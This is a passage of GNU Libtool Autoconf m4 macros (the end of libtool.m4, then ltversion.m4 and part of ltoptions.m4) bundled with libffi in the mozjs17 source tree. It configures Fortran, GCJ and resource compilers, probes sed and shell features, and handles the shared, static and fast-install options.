libraries]) # Make sure either enable_shared or enable_static is yes. test "$enable_shared" = yes || enable_static=yes AC_MSG_RESULT([$enable_static]) _LT_TAGVAR(GCC, $1)="$G77" _LT_TAGVAR(LD, $1)="$LD" ## CAVEAT EMPTOR: ## There is no encapsulation within the following macros, do not change ## the running order or otherwise move them around unless you know exactly ## what you are doing... _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_SYS_DYNAMIC_LINKER($1) _LT_LINKER_HARDCODE_LIBPATH($1) _LT_CONFIG($1) fi # test -n "$compiler" GCC=$lt_save_GCC CC="$lt_save_CC" fi # test "$_lt_disable_F77" != yes AC_LANG_POP ])# _LT_LANG_F77_CONFIG # _LT_PROG_FC # ----------- # Since AC_PROG_FC is broken, in that it returns the empty string # if there is no fortran compiler, we have our own version here. m4_defun([_LT_PROG_FC], [ pushdef([AC_MSG_ERROR], [_lt_disable_FC=yes]) AC_PROG_FC if test -z "$FC" || test "X$FC" = "Xno"; then _lt_disable_FC=yes fi popdef([AC_MSG_ERROR]) ])# _LT_PROG_FC dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([_LT_PROG_FC], []) # _LT_LANG_FC_CONFIG([TAG]) # ------------------------- # Ensure that the configuration variables for a Fortran compiler are # suitably defined. These variables are subsequently used by _LT_CONFIG # to write the compiler configuration to `libtool'. m4_defun([_LT_LANG_FC_CONFIG], [AC_REQUIRE([_LT_PROG_FC])dnl AC_LANG_PUSH(Fortran) _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(allow_undefined_flag, $1)= _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(archive_expsym_cmds, $1)= _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= _LT_TAGVAR(hardcode_libdir_separator, $1)= _LT_TAGVAR(hardcode_minus_L, $1)=no _LT_TAGVAR(hardcode_automatic, $1)=no _LT_TAGVAR(inherit_rpath, $1)=no _LT_TAGVAR(module_cmds, $1)= _LT_TAGVAR(module_expsym_cmds, $1)= _LT_TAGVAR(link_all_deplibs, $1)=unknown _LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds _LT_TAGVAR(no_undefined_flag, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no # Source file extension for fc test sources. ac_ext=${ac_fc_srcext-f} # Object file extension for compiled fc test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # No sense in running all these tests if we already determined that # the FC compiler isn't working. Some variables (like enable_shared) # are currently assumed to apply to all compilers on this platform, # and will be corrupted by setting them based on a non-working compiler. if test "$_lt_disable_FC" != yes; then # Code to be used in simple compile tests lt_simple_compile_test_code="\ subroutine t return end " # Code to be used in simple link tests lt_simple_link_test_code="\ program t end " # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC="$CC" lt_save_GCC=$GCC CC=${FC-"f95"} compiler=$CC GCC=$ac_cv_fc_compiler_gnu _LT_TAGVAR(compiler, $1)=$CC _LT_CC_BASENAME([$compiler]) if test -n "$compiler"; then AC_MSG_CHECKING([if libtool supports shared libraries]) AC_MSG_RESULT([$can_build_shared]) AC_MSG_CHECKING([whether to build shared libraries]) test "$can_build_shared" = "no" && enable_shared=no # On AIX, shared libraries and static libraries use the same namespace, and # are all built from PIC. case $host_os in aix3*) test "$enable_shared" = yes && enable_static=no if test -n "$RANLIB"; then archive_cmds="$archive_cmds~\$RANLIB \$lib" postinstall_cmds='$RANLIB $lib' fi ;; aix[[4-9]]*) if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then test "$enable_shared" = yes && enable_static=no fi ;; esac AC_MSG_RESULT([$enable_shared]) AC_MSG_CHECKING([whether to build static libraries]) # Make sure either enable_shared or enable_static is yes. test "$enable_shared" = yes || enable_static=yes AC_MSG_RESULT([$enable_static]) _LT_TAGVAR(GCC, $1)="$ac_cv_fc_compiler_gnu" _LT_TAGVAR(LD, $1)="$LD" ## CAVEAT EMPTOR: ## There is no encapsulation within the following macros, do not change ## the running order or otherwise move them around unless you know exactly ## what you are doing... _LT_SYS_HIDDEN_LIBDEPS($1) _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_SYS_DYNAMIC_LINKER($1) _LT_LINKER_HARDCODE_LIBPATH($1) _LT_CONFIG($1) fi # test -n "$compiler" GCC=$lt_save_GCC CC="$lt_save_CC" fi # test "$_lt_disable_FC" != yes AC_LANG_POP ])# _LT_LANG_FC_CONFIG # _LT_LANG_GCJ_CONFIG([TAG]) # -------------------------- # Ensure that the configuration variables for the GNU Java Compiler compiler # are suitably defined. These variables are subsequently used by _LT_CONFIG # to write the compiler configuration to `libtool'. m4_defun([_LT_LANG_GCJ_CONFIG], [AC_REQUIRE([LT_PROG_GCJ])dnl AC_LANG_SAVE # Source file extension for Java test sources. ac_ext=java # Object file extension for compiled Java test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # Code to be used in simple compile tests lt_simple_compile_test_code="class foo {}" # Code to be used in simple link tests lt_simple_link_test_code='public class conftest { public static void main(String[[]] argv) {}; }' # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC="$CC" lt_save_GCC=$GCC GCC=yes CC=${GCJ-"gcj"} compiler=$CC _LT_TAGVAR(compiler, $1)=$CC _LT_TAGVAR(LD, $1)="$LD" _LT_CC_BASENAME([$compiler]) # GCJ did not exist at the time GCC didn't implicitly link libc in. _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds ## CAVEAT EMPTOR: ## There is no encapsulation within the following macros, do not change ## the running order or otherwise move them around unless you know exactly ## what you are doing... if test -n "$compiler"; then _LT_COMPILER_NO_RTTI($1) _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_LINKER_HARDCODE_LIBPATH($1) _LT_CONFIG($1) fi AC_LANG_RESTORE GCC=$lt_save_GCC CC="$lt_save_CC" ])# _LT_LANG_GCJ_CONFIG # _LT_LANG_RC_CONFIG([TAG]) # ------------------------- # Ensure that the configuration variables for the Windows resource compiler # are suitably defined. These variables are subsequently used by _LT_CONFIG # to write the compiler configuration to `libtool'. m4_defun([_LT_LANG_RC_CONFIG], [AC_REQUIRE([LT_PROG_RC])dnl AC_LANG_SAVE # Source file extension for RC test sources. ac_ext=rc # Object file extension for compiled RC test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # Code to be used in simple compile tests lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }' # Code to be used in simple link tests lt_simple_link_test_code="$lt_simple_compile_test_code" # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC="$CC" lt_save_GCC=$GCC GCC= CC=${RC-"windres"} compiler=$CC _LT_TAGVAR(compiler, $1)=$CC _LT_CC_BASENAME([$compiler]) _LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes if test -n "$compiler"; then : _LT_CONFIG($1) fi GCC=$lt_save_GCC AC_LANG_RESTORE CC="$lt_save_CC" ])# _LT_LANG_RC_CONFIG # LT_PROG_GCJ # ----------- AC_DEFUN([LT_PROG_GCJ], [m4_ifdef([AC_PROG_GCJ], [AC_PROG_GCJ], [m4_ifdef([A][M_PROG_GCJ], [A][M_PROG_GCJ], [AC_CHECK_TOOL(GCJ, gcj,) test "x${GCJFLAGS+set}" = xset || GCJFLAGS="-g -O2" AC_SUBST(GCJFLAGS)])])[]dnl ]) # Old name: AU_ALIAS([LT_AC_PROG_GCJ], [LT_PROG_GCJ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([LT_AC_PROG_GCJ], []) # LT_PROG_RC # ---------- AC_DEFUN([LT_PROG_RC], [AC_CHECK_TOOL(RC, windres,) ]) # Old name: AU_ALIAS([LT_AC_PROG_RC], [LT_PROG_RC]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([LT_AC_PROG_RC], []) # _LT_DECL_EGREP # -------------- # If we don't have a new enough Autoconf to choose the best grep # available, choose the one first in the user's PATH. m4_defun([_LT_DECL_EGREP], [AC_REQUIRE([AC_PROG_EGREP])dnl AC_REQUIRE([AC_PROG_FGREP])dnl test -z "$GREP" && GREP=grep _LT_DECL([], [GREP], [1], [A grep program that handles long lines]) _LT_DECL([], [EGREP], [1], [An ERE matcher]) _LT_DECL([], [FGREP], [1], [A literal string matcher]) dnl Non-bleeding-edge autoconf doesn't subst GREP, so do it here too AC_SUBST([GREP]) ]) # _LT_DECL_OBJDUMP # -------------- # If we don't have a new enough Autoconf to choose the best objdump # available, choose the one first in the user's PATH. m4_defun([_LT_DECL_OBJDUMP], [AC_CHECK_TOOL(OBJDUMP, objdump, false) test -z "$OBJDUMP" && OBJDUMP=objdump _LT_DECL([], [OBJDUMP], [1], [An object symbol dumper]) AC_SUBST([OBJDUMP]) ]) # _LT_DECL_SED # ------------ # Check for a fully-functional sed program, that truncates # as few characters as possible. Prefer GNU sed if found. m4_defun([_LT_DECL_SED], [AC_PROG_SED test -z "$SED" && SED=sed Xsed="$SED -e 1s/^X//" _LT_DECL([], [SED], [1], [A sed program that does not truncate output]) _LT_DECL([], [Xsed], ["\$SED -e 1s/^X//"], [Sed that helps us avoid accidentally triggering echo(1) options like -n]) ])# _LT_DECL_SED m4_ifndef([AC_PROG_SED], [ ############################################################ # NOTE: This macro has been submitted for inclusion into # # GNU Autoconf as AC_PROG_SED. When it is available in # # a released version of Autoconf we should remove this # # macro and use it instead. # ############################################################ m4_defun([AC_PROG_SED], [AC_MSG_CHECKING([for a sed that does not truncate output]) AC_CACHE_VAL(lt_cv_path_SED, [# Loop through the user's path and test for sed and gsed. # Then use that list of sed's as ones to test for truncation. as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for lt_ac_prog in sed gsed; do for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext" fi done done done IFS=$as_save_IFS lt_ac_max=0 lt_ac_count=0 # Add /usr/xpg4/bin/sed as it is typically found on Solaris # along with /bin/sed that truncates output. for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do test ! -f $lt_ac_sed && continue cat /dev/null > conftest.in lt_ac_count=0 echo $ECHO_N "0123456789$ECHO_C" >conftest.in # Check for GNU sed and select it if it is found. if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then lt_cv_path_SED=$lt_ac_sed break fi while true; do cat conftest.in conftest.in >conftest.tmp mv conftest.tmp conftest.in cp conftest.in conftest.nl echo >>conftest.nl $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break cmp -s conftest.out conftest.nl || break # 10000 chars as input seems more than enough test $lt_ac_count -gt 10 && break lt_ac_count=`expr $lt_ac_count + 1` if test $lt_ac_count -gt $lt_ac_max; then lt_ac_max=$lt_ac_count lt_cv_path_SED=$lt_ac_sed fi done done ]) SED=$lt_cv_path_SED AC_SUBST([SED]) AC_MSG_RESULT([$SED]) ])#AC_PROG_SED ])#m4_ifndef # Old name: AU_ALIAS([LT_AC_PROG_SED], [AC_PROG_SED]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([LT_AC_PROG_SED], []) # _LT_CHECK_SHELL_FEATURES # ------------------------ # Find out whether the shell is Bourne or XSI compatible, # or has some other useful features. m4_defun([_LT_CHECK_SHELL_FEATURES], [AC_MSG_CHECKING([whether the shell understands some XSI constructs]) # Try some XSI features xsi_shell=no ( _lt_dummy="a/b/c" test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \ = c,a/b,, \ && eval 'test $(( 1 + 1 )) -eq 2 \ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \ && xsi_shell=yes AC_MSG_RESULT([$xsi_shell]) _LT_CONFIG_LIBTOOL_INIT([xsi_shell='$xsi_shell']) AC_MSG_CHECKING([whether the shell understands "+="]) lt_shell_append=no ( foo=bar; set foo baz; eval "$[1]+=\$[2]" && test "$foo" = barbaz ) \ >/dev/null 2>&1 \ && lt_shell_append=yes AC_MSG_RESULT([$lt_shell_append]) _LT_CONFIG_LIBTOOL_INIT([lt_shell_append='$lt_shell_append']) if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then lt_unset=unset else lt_unset=false fi _LT_DECL([], [lt_unset], [0], [whether the shell understands "unset"])dnl # test EBCDIC or ASCII case `echo X|tr X '\101'` in A) # ASCII based system # \n is not interpreted correctly by Solaris 8 /usr/ucb/tr lt_SP2NL='tr \040 \012' lt_NL2SP='tr \015\012 \040\040' ;; *) # EBCDIC based system lt_SP2NL='tr \100 \n' lt_NL2SP='tr \r\n \100\100' ;; esac _LT_DECL([SP2NL], [lt_SP2NL], [1], [turn spaces into newlines])dnl _LT_DECL([NL2SP], [lt_NL2SP], [1], [turn newlines into spaces])dnl ])# _LT_CHECK_SHELL_FEATURES # _LT_PROG_XSI_SHELLFNS # --------------------- # Bourne and XSI compatible variants of some useful shell functions. m4_defun([_LT_PROG_XSI_SHELLFNS], [case $xsi_shell in yes) cat << \_LT_EOF >> "$cfgfile" # func_dirname file append nondir_replacement # Compute the dirname of FILE. If nonempty, add APPEND to the result, # otherwise set result to NONDIR_REPLACEMENT. func_dirname () { case ${1} in */*) func_dirname_result="${1%/*}${2}" ;; * ) func_dirname_result="${3}" ;; esac } # func_basename file func_basename () { func_basename_result="${1##*/}" } # func_dirname_and_basename file append nondir_replacement # perform func_basename and func_dirname in a single function # call: # dirname: Compute the dirname of FILE. If nonempty, # add APPEND to the result, otherwise set result # to NONDIR_REPLACEMENT. # value returned in "$func_dirname_result" # basename: Compute filename of FILE. # value retuned in "$func_basename_result" # Implementation must be kept synchronized with func_dirname # and func_basename. For efficiency, we do not delegate to # those functions but instead duplicate the functionality here. func_dirname_and_basename () { case ${1} in */*) func_dirname_result="${1%/*}${2}" ;; * ) func_dirname_result="${3}" ;; esac func_basename_result="${1##*/}" } # func_stripname prefix suffix name # strip PREFIX and SUFFIX off of NAME. # PREFIX and SUFFIX must not contain globbing or regex special # characters, hashes, percent signs, but SUFFIX may contain a leading # dot (in which case that matches only a dot). func_stripname () { # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are # positional parameters, so assign one to ordinary parameter first. func_stripname_result=${3} func_stripname_result=${func_stripname_result#"${1}"} func_stripname_result=${func_stripname_result%"${2}"} } # func_opt_split func_opt_split () { func_opt_split_opt=${1%%=*} func_opt_split_arg=${1#*=} } # func_lo2o object func_lo2o () { case ${1} in *.lo) func_lo2o_result=${1%.lo}.${objext} ;; *) func_lo2o_result=${1} ;; esac } # func_xform libobj-or-source func_xform () { func_xform_result=${1%.*}.lo } # func_arith arithmetic-term... func_arith () { func_arith_result=$(( $[*] )) } # func_len string # STRING may not start with a hyphen. func_len () { func_len_result=${#1} } _LT_EOF ;; *) # Bourne compatible functions. cat << \_LT_EOF >> "$cfgfile" # func_dirname file append nondir_replacement # Compute the dirname of FILE. If nonempty, add APPEND to the result, # otherwise set result to NONDIR_REPLACEMENT. func_dirname () { # Extract subdirectory from the argument. func_dirname_result=`$ECHO "X${1}" | $Xsed -e "$dirname"` if test "X$func_dirname_result" = "X${1}"; then func_dirname_result="${3}" else func_dirname_result="$func_dirname_result${2}" fi } # func_basename file func_basename () { func_basename_result=`$ECHO "X${1}" | $Xsed -e "$basename"` } dnl func_dirname_and_basename dnl A portable version of this function is already defined in general.m4sh dnl so there is no need for it here. # func_stripname prefix suffix name # strip PREFIX and SUFFIX off of NAME. # PREFIX and SUFFIX must not contain globbing or regex special # characters, hashes, percent signs, but SUFFIX may contain a leading # dot (in which case that matches only a dot). # func_strip_suffix prefix name func_stripname () { case ${2} in .*) func_stripname_result=`$ECHO "X${3}" \ | $Xsed -e "s%^${1}%%" -e "s%\\\\${2}\$%%"`;; *) func_stripname_result=`$ECHO "X${3}" \ | $Xsed -e "s%^${1}%%" -e "s%${2}\$%%"`;; esac } # sed scripts: my_sed_long_opt='1s/^\(-[[^=]]*\)=.*/\1/;q' my_sed_long_arg='1s/^-[[^=]]*=//' # func_opt_split func_opt_split () { func_opt_split_opt=`$ECHO "X${1}" | $Xsed -e "$my_sed_long_opt"` func_opt_split_arg=`$ECHO "X${1}" | $Xsed -e "$my_sed_long_arg"` } # func_lo2o object func_lo2o () { func_lo2o_result=`$ECHO "X${1}" | $Xsed -e "$lo2o"` } # func_xform libobj-or-source func_xform () { func_xform_result=`$ECHO "X${1}" | $Xsed -e 's/\.[[^.]]*$/.lo/'` } # func_arith arithmetic-term... func_arith () { func_arith_result=`expr "$[@]"` } # func_len string # STRING may not start with a hyphen. func_len () { func_len_result=`expr "$[1]" : ".*" 2>/dev/null || echo $max_cmd_len` } _LT_EOF esac case $lt_shell_append in yes) cat << \_LT_EOF >> "$cfgfile" # func_append var value # Append VALUE to the end of shell variable VAR. func_append () { eval "$[1]+=\$[2]" } _LT_EOF ;; *) cat << \_LT_EOF >> "$cfgfile" # func_append var value # Append VALUE to the end of shell variable VAR. func_append () { eval "$[1]=\$$[1]\$[2]" } _LT_EOF ;; esac ]) mozjs17.0.0/js/src/ctypes/libffi/m4/ltversion.m40000664000175000017500000000127712106270662021363 0ustar sstanglsstangl# ltversion.m4 -- version numbers -*- Autoconf -*- # # Copyright (C) 2004 Free Software Foundation, Inc. # Written by Scott James Remnant, 2004 # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # Generated from ltversion.in. # serial 3017 ltversion.m4 # This file is part of GNU Libtool m4_define([LT_PACKAGE_VERSION], [2.2.6b]) m4_define([LT_PACKAGE_REVISION], [1.3017]) AC_DEFUN([LTVERSION_VERSION], [macro_version='2.2.6b' macro_revision='1.3017' _LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?]) _LT_DECL(, macro_revision, 0) ]) mozjs17.0.0/js/src/ctypes/libffi/m4/ltoptions.m40000664000175000017500000002724212106270662021371 0ustar sstanglsstangl# Helper functions for option handling. -*- Autoconf -*- # # Copyright (C) 2004, 2005, 2007, 2008 Free Software Foundation, Inc. # Written by Gary V. Vaughan, 2004 # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # serial 6 ltoptions.m4 # This is to help aclocal find these macros, as it can't see m4_define. AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])]) # _LT_MANGLE_OPTION(MACRO-NAME, OPTION-NAME) # ------------------------------------------ m4_define([_LT_MANGLE_OPTION], [[_LT_OPTION_]m4_bpatsubst($1__$2, [[^a-zA-Z0-9_]], [_])]) # _LT_SET_OPTION(MACRO-NAME, OPTION-NAME) # --------------------------------------- # Set option OPTION-NAME for macro MACRO-NAME, and if there is a # matching handler defined, dispatch to it. Other OPTION-NAMEs are # saved as a flag. m4_define([_LT_SET_OPTION], [m4_define(_LT_MANGLE_OPTION([$1], [$2]))dnl m4_ifdef(_LT_MANGLE_DEFUN([$1], [$2]), _LT_MANGLE_DEFUN([$1], [$2]), [m4_warning([Unknown $1 option `$2'])])[]dnl ]) # _LT_IF_OPTION(MACRO-NAME, OPTION-NAME, IF-SET, [IF-NOT-SET]) # ------------------------------------------------------------ # Execute IF-SET if OPTION is set, IF-NOT-SET otherwise. m4_define([_LT_IF_OPTION], [m4_ifdef(_LT_MANGLE_OPTION([$1], [$2]), [$3], [$4])]) # _LT_UNLESS_OPTIONS(MACRO-NAME, OPTION-LIST, IF-NOT-SET) # ------------------------------------------------------- # Execute IF-NOT-SET unless all options in OPTION-LIST for MACRO-NAME # are set. m4_define([_LT_UNLESS_OPTIONS], [m4_foreach([_LT_Option], m4_split(m4_normalize([$2])), [m4_ifdef(_LT_MANGLE_OPTION([$1], _LT_Option), [m4_define([$0_found])])])[]dnl m4_ifdef([$0_found], [m4_undefine([$0_found])], [$3 ])[]dnl ]) # _LT_SET_OPTIONS(MACRO-NAME, OPTION-LIST) # ---------------------------------------- # OPTION-LIST is a space-separated list of Libtool options associated # with MACRO-NAME. If any OPTION has a matching handler declared with # LT_OPTION_DEFINE, dispatch to that macro; otherwise complain about # the unknown option and exit. m4_defun([_LT_SET_OPTIONS], [# Set options m4_foreach([_LT_Option], m4_split(m4_normalize([$2])), [_LT_SET_OPTION([$1], _LT_Option)]) m4_if([$1],[LT_INIT],[ dnl dnl Simply set some default values (i.e off) if boolean options were not dnl specified: _LT_UNLESS_OPTIONS([LT_INIT], [dlopen], [enable_dlopen=no ]) _LT_UNLESS_OPTIONS([LT_INIT], [win32-dll], [enable_win32_dll=no ]) dnl dnl If no reference was made to various pairs of opposing options, then dnl we run the default mode handler for the pair. For example, if neither dnl `shared' nor `disable-shared' was passed, we enable building of shared dnl archives by default: _LT_UNLESS_OPTIONS([LT_INIT], [shared disable-shared], [_LT_ENABLE_SHARED]) _LT_UNLESS_OPTIONS([LT_INIT], [static disable-static], [_LT_ENABLE_STATIC]) _LT_UNLESS_OPTIONS([LT_INIT], [pic-only no-pic], [_LT_WITH_PIC]) _LT_UNLESS_OPTIONS([LT_INIT], [fast-install disable-fast-install], [_LT_ENABLE_FAST_INSTALL]) ]) ])# _LT_SET_OPTIONS ## --------------------------------- ## ## Macros to handle LT_INIT options. ## ## --------------------------------- ## # _LT_MANGLE_DEFUN(MACRO-NAME, OPTION-NAME) # ----------------------------------------- m4_define([_LT_MANGLE_DEFUN], [[_LT_OPTION_DEFUN_]m4_bpatsubst(m4_toupper([$1__$2]), [[^A-Z0-9_]], [_])]) # LT_OPTION_DEFINE(MACRO-NAME, OPTION-NAME, CODE) # ----------------------------------------------- m4_define([LT_OPTION_DEFINE], [m4_define(_LT_MANGLE_DEFUN([$1], [$2]), [$3])[]dnl ])# LT_OPTION_DEFINE # dlopen # ------ LT_OPTION_DEFINE([LT_INIT], [dlopen], [enable_dlopen=yes ]) AU_DEFUN([AC_LIBTOOL_DLOPEN], [_LT_SET_OPTION([LT_INIT], [dlopen]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `dlopen' option into LT_INIT's first parameter.]) ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_DLOPEN], []) # win32-dll # --------- # Declare package support for building win32 dll's. LT_OPTION_DEFINE([LT_INIT], [win32-dll], [enable_win32_dll=yes case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-cegcc*) AC_CHECK_TOOL(AS, as, false) AC_CHECK_TOOL(DLLTOOL, dlltool, false) AC_CHECK_TOOL(OBJDUMP, objdump, false) ;; esac test -z "$AS" && AS=as _LT_DECL([], [AS], [0], [Assembler program])dnl test -z "$DLLTOOL" && DLLTOOL=dlltool _LT_DECL([], [DLLTOOL], [0], [DLL creation program])dnl test -z "$OBJDUMP" && OBJDUMP=objdump _LT_DECL([], [OBJDUMP], [0], [Object dumper program])dnl ])# win32-dll AU_DEFUN([AC_LIBTOOL_WIN32_DLL], [AC_REQUIRE([AC_CANONICAL_HOST])dnl _LT_SET_OPTION([LT_INIT], [win32-dll]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `win32-dll' option into LT_INIT's first parameter.]) ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_WIN32_DLL], []) # _LT_ENABLE_SHARED([DEFAULT]) # ---------------------------- # implement the --enable-shared flag, and supports the `shared' and # `disable-shared' LT_INIT options. # DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. m4_define([_LT_ENABLE_SHARED], [m4_define([_LT_ENABLE_SHARED_DEFAULT], [m4_if($1, no, no, yes)])dnl AC_ARG_ENABLE([shared], [AS_HELP_STRING([--enable-shared@<:@=PKGS@:>@], [build shared libraries @<:@default=]_LT_ENABLE_SHARED_DEFAULT[@:>@])], [p=${PACKAGE-default} case $enableval in yes) enable_shared=yes ;; no) enable_shared=no ;; *) enable_shared=no # Look at the argument we got. We use all the common list separators. lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," for pkg in $enableval; do IFS="$lt_save_ifs" if test "X$pkg" = "X$p"; then enable_shared=yes fi done IFS="$lt_save_ifs" ;; esac], [enable_shared=]_LT_ENABLE_SHARED_DEFAULT) _LT_DECL([build_libtool_libs], [enable_shared], [0], [Whether or not to build shared libraries]) ])# _LT_ENABLE_SHARED LT_OPTION_DEFINE([LT_INIT], [shared], [_LT_ENABLE_SHARED([yes])]) LT_OPTION_DEFINE([LT_INIT], [disable-shared], [_LT_ENABLE_SHARED([no])]) # Old names: AC_DEFUN([AC_ENABLE_SHARED], [_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[shared]) ]) AC_DEFUN([AC_DISABLE_SHARED], [_LT_SET_OPTION([LT_INIT], [disable-shared]) ]) AU_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)]) AU_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AM_ENABLE_SHARED], []) dnl AC_DEFUN([AM_DISABLE_SHARED], []) # _LT_ENABLE_STATIC([DEFAULT]) # ---------------------------- # implement the --enable-static flag, and support the `static' and # `disable-static' LT_INIT options. # DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. m4_define([_LT_ENABLE_STATIC], [m4_define([_LT_ENABLE_STATIC_DEFAULT], [m4_if($1, no, no, yes)])dnl AC_ARG_ENABLE([static], [AS_HELP_STRING([--enable-static@<:@=PKGS@:>@], [build static libraries @<:@default=]_LT_ENABLE_STATIC_DEFAULT[@:>@])], [p=${PACKAGE-default} case $enableval in yes) enable_static=yes ;; no) enable_static=no ;; *) enable_static=no # Look at the argument we got. We use all the common list separators. lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," for pkg in $enableval; do IFS="$lt_save_ifs" if test "X$pkg" = "X$p"; then enable_static=yes fi done IFS="$lt_save_ifs" ;; esac], [enable_static=]_LT_ENABLE_STATIC_DEFAULT) _LT_DECL([build_old_libs], [enable_static], [0], [Whether or not to build static libraries]) ])# _LT_ENABLE_STATIC LT_OPTION_DEFINE([LT_INIT], [static], [_LT_ENABLE_STATIC([yes])]) LT_OPTION_DEFINE([LT_INIT], [disable-static], [_LT_ENABLE_STATIC([no])]) # Old names: AC_DEFUN([AC_ENABLE_STATIC], [_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[static]) ]) AC_DEFUN([AC_DISABLE_STATIC], [_LT_SET_OPTION([LT_INIT], [disable-static]) ]) AU_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)]) AU_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AM_ENABLE_STATIC], []) dnl AC_DEFUN([AM_DISABLE_STATIC], []) # _LT_ENABLE_FAST_INSTALL([DEFAULT]) # ---------------------------------- # implement the --enable-fast-install flag, and support the `fast-install' # and `disable-fast-install' LT_INIT options. # DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. m4_define([_LT_ENABLE_FAST_INSTALL], [m4_define([_LT_ENABLE_FAST_INSTALL_DEFAULT], [m4_if($1, no, no, yes)])dnl AC_ARG_ENABLE([fast-install], [AS_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@], [optimize for fast installation @<:@default=]_LT_ENABLE_FAST_INSTALL_DEFAULT[@:>@])], [p=${PACKAGE-default} case $enableval in yes) enable_fast_install=yes ;; no) enable_fast_install=no ;; *) enable_fast_install=no # Look at the argument we got. We use all the common list separators. lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," for pkg in $enableval; do IFS="$lt_save_ifs" if test "X$pkg" = "X$p"; then enable_fast_install=yes fi done IFS="$lt_save_ifs" ;; esac], [enable_fast_install=]_LT_ENABLE_FAST_INSTALL_DEFAULT) _LT_DECL([fast_install], [enable_fast_install], [0], [Whether or not to optimize for fast installation])dnl ])# _LT_ENABLE_FAST_INSTALL LT_OPTION_DEFINE([LT_INIT], [fast-install], [_LT_ENABLE_FAST_INSTALL([yes])]) LT_OPTION_DEFINE([LT_INIT], [disable-fast-install], [_LT_ENABLE_FAST_INSTALL([no])]) # Old names: AU_DEFUN([AC_ENABLE_FAST_INSTALL], [_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[fast-install]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `fast-install' option into LT_INIT's first parameter.]) ]) AU_DEFUN([AC_DISABLE_FAST_INSTALL], 